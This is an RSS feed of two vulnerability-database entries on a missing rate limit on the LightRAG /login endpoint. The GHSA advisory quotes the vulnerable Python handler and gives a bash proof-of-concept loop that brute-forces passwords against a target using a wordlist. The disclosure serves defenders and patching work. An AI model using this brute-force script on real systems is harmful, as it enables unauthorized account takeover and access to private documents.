<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://vulnerability.circl.lu</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Tue, 29 Sep 2026 22:26:51 +0000</lastBuildDate>
    <item>
      <title>fkie_cve-2026-85734</title>
      <link>https://vulnerability.circl.lu/vuln/fkie_cve-2026-85734</link>
      <description>&lt;p&gt;LightRAG provides simple and fast retrieval-augmented generation. Prior to 1.5.5, the POST /login endpoint in lightrag/api/lightrag_server.py does not impose a rate limit, account lockout, delay, or counter for failed authentication attempts. A network attacker can submit password guesses at full request speed until a valid account password is found. Successful credential recovery grants authenticated access to documents, the knowledge graph, and administrative operations. This issue is fixed in version 1.5.5.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;LightRAG provides simple and fast retrieval-augmented generation. Prior to 1.5.5, the POST /login endpoint in lightrag/api/lightrag_server.py does not impose a rate limit, account lockout, delay, or counter for failed authentication attempts. A network attacker can submit password guesses at full request speed until a valid account password is found. Successful credential recovery grants authenticated access to documents, the knowledge graph, and administrative operations. This issue is fixed in version 1.5.5.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/vuln/fkie_cve-2026-85734</guid>
    </item>
    <item>
      <title>GHSA-frch-4w6v-q5xx — lightrag-hku: No Rate Limiting on /login Endpoint Allows Brute-Force Attacks</title>
      <link>https://vulnerability.circl.lu/vuln/ghsa-frch-4w6v-q5xx</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: lightrag-hku&lt;/p&gt;
&lt;p&gt;### Summary
The POST /login endpoint has no rate limiting, account lockout, or delay on failed attempts. An attacker can submit unlimited password guesses at full network speed.&lt;/p&gt;
&lt;p&gt;### Details&lt;/p&gt;
&lt;p&gt;```python
# lightrag/api/lightrag_server.py:2161
@app.post(&amp;#34;/login&amp;#34;)
async def login(form_data: OAuth2PasswordRequestForm = Depends()):
    if not auth_handler.verify_password(username, form_data.password):
        raise HTTPException(status_code=401, detail=&amp;#34;Incorrect credentials&amp;#34;)
    # No: rate limit / lockout / backoff / CAPTCHA / attempt counter
```&lt;/p&gt;
&lt;p&gt;A search for slowapi, rate_limit, lockout, or throttle in lightrag/api/ returns zero results.&lt;/p&gt;
&lt;p&gt;### PoC&lt;/p&gt;
&lt;p&gt;```bash
# Brute-force /login with a wordlist, no throttling
while IFS= read -r pass; do
  code=$(curl -s -o /dev/null -w &amp;#34;%{http_code}&amp;#34; \
    -X POST http://&amp;lt;TARGET&amp;gt;:9621/login \
    -d &amp;#34;username=admin&amp;amp;password=${pass}&amp;#34;)
  [ &amp;#34;$code&amp;#34; = &amp;#34;200&amp;#34; ] &amp;amp;&amp;amp; echo &amp;#34;[FOUND] $pass&amp;#34; &amp;amp;&amp;amp; break
done &amp;lt; /usr/share/wordlists/rockyou.txt
```&lt;/p&gt;
&lt;p&gt;### Impact
Improper restriction of authentication attempts. Any network-reachable attacker can brute-force user passwords without restriction. Once credentials are recovered, the attacker gains full authenticated access to all documents, knowledge graph, and administrative operations.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: lightrag-hku&lt;/p&gt;
&lt;p&gt;### Summary
The POST /login endpoint has no rate limiting, account lockout, or delay on failed attempts. An attacker can submit unlimited password guesses at full network speed.&lt;/p&gt;
&lt;p&gt;### Details&lt;/p&gt;
&lt;p&gt;```python
# lightrag/api/lightrag_server.py:2161
@app.post(&amp;#34;/login&amp;#34;)
async def login(form_data: OAuth2PasswordRequestForm = Depends()):
    if not auth_handler.verify_password(username, form_data.password):
        raise HTTPException(status_code=401, detail=&amp;#34;Incorrect credentials&amp;#34;)
    # No: rate limit / lockout / backoff / CAPTCHA / attempt counter
```&lt;/p&gt;
&lt;p&gt;A search for slowapi, rate_limit, lockout, or throttle in lightrag/api/ returns zero results.&lt;/p&gt;
&lt;p&gt;### PoC&lt;/p&gt;
&lt;p&gt;```bash
# Brute-force /login with a wordlist, no throttling
while IFS= read -r pass; do
  code=$(curl -s -o /dev/null -w &amp;#34;%{http_code}&amp;#34; \
    -X POST http://&amp;lt;TARGET&amp;gt;:9621/login \
    -d &amp;#34;username=admin&amp;amp;password=${pass}&amp;#34;)
  [ &amp;#34;$code&amp;#34; = &amp;#34;200&amp;#34; ] &amp;amp;&amp;amp; echo &amp;#34;[FOUND] $pass&amp;#34; &amp;amp;&amp;amp; break
done &amp;lt; /usr/share/wordlists/rockyou.txt
```&lt;/p&gt;
&lt;p&gt;### Impact
Improper restriction of authentication attempts. Any network-reachable attacker can brute-force user passwords without restriction. Once credentials are recovered, the attacker gains full authenticated access to all documents, knowledge graph, and administrative operations.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/vuln/ghsa-frch-4w6v-q5xx</guid>
    </item>
  </channel>
</rss>
